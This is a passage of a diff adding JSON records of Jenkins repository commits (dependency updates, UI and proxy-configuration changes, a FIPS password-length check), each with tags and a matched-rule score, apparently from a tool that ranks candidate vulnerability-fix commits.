"jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8739", + "relevance": 2 + } + ] + }, + { + "commit_id": "ee6535f13df77aa40422ae43c6ab9776e3659a56", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701677724, + "hunks": 3, + "message": "Update dependency sortablejs to v1.15.1 (#8741) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8741": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8741", + "relevance": 2 + } + ] + }, + { + "commit_id": "1e9372ee5742d18f1181acd307f5087eeba90187", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701651728, + "hunks": 30, + "message": "Move proxy configuration form out of pluginManager screens as it is not related (#8693) * Move proxy configuration form out of pluginManager screens as it is not related --------- Signed-off-by: Olivier Lamy ", + "changed_files": [ + "core/src/main/java/hudson/PluginManager.java", + "core/src/main/java/hudson/ProxyConfigurationManager.java", + "core/src/main/resources/hudson/Messages.properties", + "core/src/main/resources/hudson/PluginManager/advanced.jelly", + "core/src/main/resources/hudson/PluginManager/advanced.properties", + "core/src/main/resources/hudson/PluginManager/advanced_fr.properties", + "core/src/main/resources/hudson/ProxyConfigurationManager/config.jelly", + "core/src/main/resources/hudson/model/Messages.properties", + "core/src/main/resources/hudson/model/Messages_bg.properties", + "core/src/main/resources/hudson/model/Messages_de.properties", + "core/src/main/resources/hudson/model/Messages_es.properties", + "core/src/main/resources/hudson/model/Messages_fr.properties", + "core/src/main/resources/hudson/model/Messages_it.properties", + "core/src/main/resources/hudson/model/Messages_ja.properties", + "core/src/main/resources/hudson/model/Messages_lt.properties", + "core/src/main/resources/hudson/model/Messages_pt_BR.properties", + "core/src/main/resources/hudson/model/Messages_sr.properties", + "core/src/main/resources/hudson/model/Messages_zh_TW.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8693": "Test core/8693 jenkinsci/acceptance-test-harness#1416 Basic ProxyConfigurationManagerTest #8952" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8693", + "relevance": 2 + } + ] + }, + { + "commit_id": "932cb225d3bcbfe15f8f843feea970012927abaa", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701634669, + "hunks": 8, + "message": "Don't try to publish artifacts on RC GitHub releases (#8733)", + "changed_files": [ + ".github/workflows/publish-release-artifact.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8733": "chore: don't run 'Publish artifact' GitHub Action for RC lemeurherve/jenkins#1" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8733", + "relevance": 2 + } + ] + }, + { + "commit_id": "78f1e9c8ebabab11d468f80572986e59a98a4d9c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701548265, + "hunks": 33, + "message": "Upgrade bundled plugins (#8724)", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8724": "[JENKINS-71666] Adapt to Popper deprecation in Jenkins core #8810 Upgrade bundled plugins #9091 Bump io.jenkins.plugins.mina-sshd-api:mina-sshd-api-core from 2.11.0-86.v836f585d47fa_ to 2.12.1-101.v85b_e08b_780dd #9093" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8724", + "relevance": 2 + } + ] + }, + { + "commit_id": "f6de78afc3f3abf18180e204ef37e718a80dd161", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701548189, + "hunks": 73, + "message": "Update babel monorepo to v7.23.5 (#8738) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8738": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8738", + "relevance": 2 + } + ] + }, + { + "commit_id": "ba64f8365ce56609d4b559d3ebfcda13e15d5f9a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701465203, + "hunks": 1, + "message": "Bump actions/setup-java from 3 to 4 (#8727) Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4. - [Release notes](https://github.com/actions/setup-java/releases) - [Commits](https://github.com/actions/setup-java/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/setup-java dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + ".github/workflows/publish-release-artifact.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8727": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8727", + "relevance": 2 + } + ] + }, + { + "commit_id": "48a855399bfbb9db863d20eb639b21f7fb33d1f2", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701465118, + "hunks": 1, + "message": "Bump com.github.eirslett:frontend-maven-plugin from 1.14.2 to 1.15.0 (#8737) Bumps [com.github.eirslett:frontend-maven-plugin](https://github.com/eirslett/frontend-maven-plugin) from 1.14.2 to 1.15.0. - [Changelog](https://github.com/eirslett/frontend-maven-plugin/blob/master/CHANGELOG.md) - [Commits](https://github.com/eirslett/frontend-maven-plugin/compare/frontend-plugins-1.14.2...frontend-plugins-1.15.0) --- updated-dependencies: - dependency-name: com.github.eirslett:frontend-maven-plugin dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8737": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8737", + "relevance": 2 + } + ] + }, + { + "commit_id": "39d9b6079ab19f60bba3fa27db996f6301fb227b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701274784, + "hunks": 3, + "message": "Update dependency hotkeys-js to v3.12.2 (#8726) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8726": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8726", + "relevance": 2 + } + ] + }, + { + "commit_id": "37622ec88a4f5e70f5980c78f7a0bdf3869ae9a2", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701211761, + "hunks": 2, + "message": "Remove reference to timeline widget in build history (#8718) Init Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js", + "core/src/main/resources/lib/hudson/buildListTable.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8718": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8718", + "relevance": 2 + } + ] + }, + { + "commit_id": "edd70cdb30b9a47d02259212dd11d6fd37ac8a98", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701202485, + "hunks": 3, + "message": "Update dependency hotkeys-js to v3.12.1 (#8723) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8723": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8723", + "relevance": 2 + } + ] + }, + { + "commit_id": "abe7181b63a705033b48e09823bfaf6ce18cd4ae", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701113820, + "hunks": 0, + "message": "Merge pull request #8721 from krisstern/feat/stable-2.426/backporting-2.426.2-1 Backporting for 2.426.2", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8721": "2.426.2 Release Checklist jenkins-infra/release#472" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.426.2", + "jenkins-2.426.2-rc-1", + "jenkins-2.426.3", + "jenkins-2.426.3-rc" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8721", + "relevance": 2 + } + ] + }, + { + "commit_id": "f9f542bffd9f38189f3c1393475b473f1f0e035e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701079755, + "hunks": 3, + "message": "Added validation of FIPS password length (#8694) Co-authored-by: Daniel Beck <1831569+daniel-beck@users.noreply.github.com>", + "changed_files": [ + "core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java", + "core/src/main/resources/hudson/security/Messages.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8694": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.434", + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8694", + "relevance": 2 + } + ] + }, + { + "commit_id": "aedae5bccf9121e0769e683d6641ac34616ae630", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701037242, + "hunks": 1, + "message": "Avoid scrollbar in dropdown popups (page footer, log recorder) (#8704)", + "changed_files": [ + "core/src/main/resources/lib/layout/overflowButton.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8704": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.434", + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8704", + "relevance": 2 + } + ] + }, + { + "commit_id": "33b62b5db5ebe9c2ec70176c1a025359fc322271", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701033179, + "hunks": 1, + "message": "Update dependency node to v20.10.0 (#8720) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8720": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.434", + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8720", + "relevance": 2 + } + ] + }, + { + "commit_id": "af941ceaea13f45f525cd877c74e63cf1597a367", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701033128, + "hunks": 4, + "message": "Update dependency @babel/cli to v7.23.4 (#8716) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8716": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.434", + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + 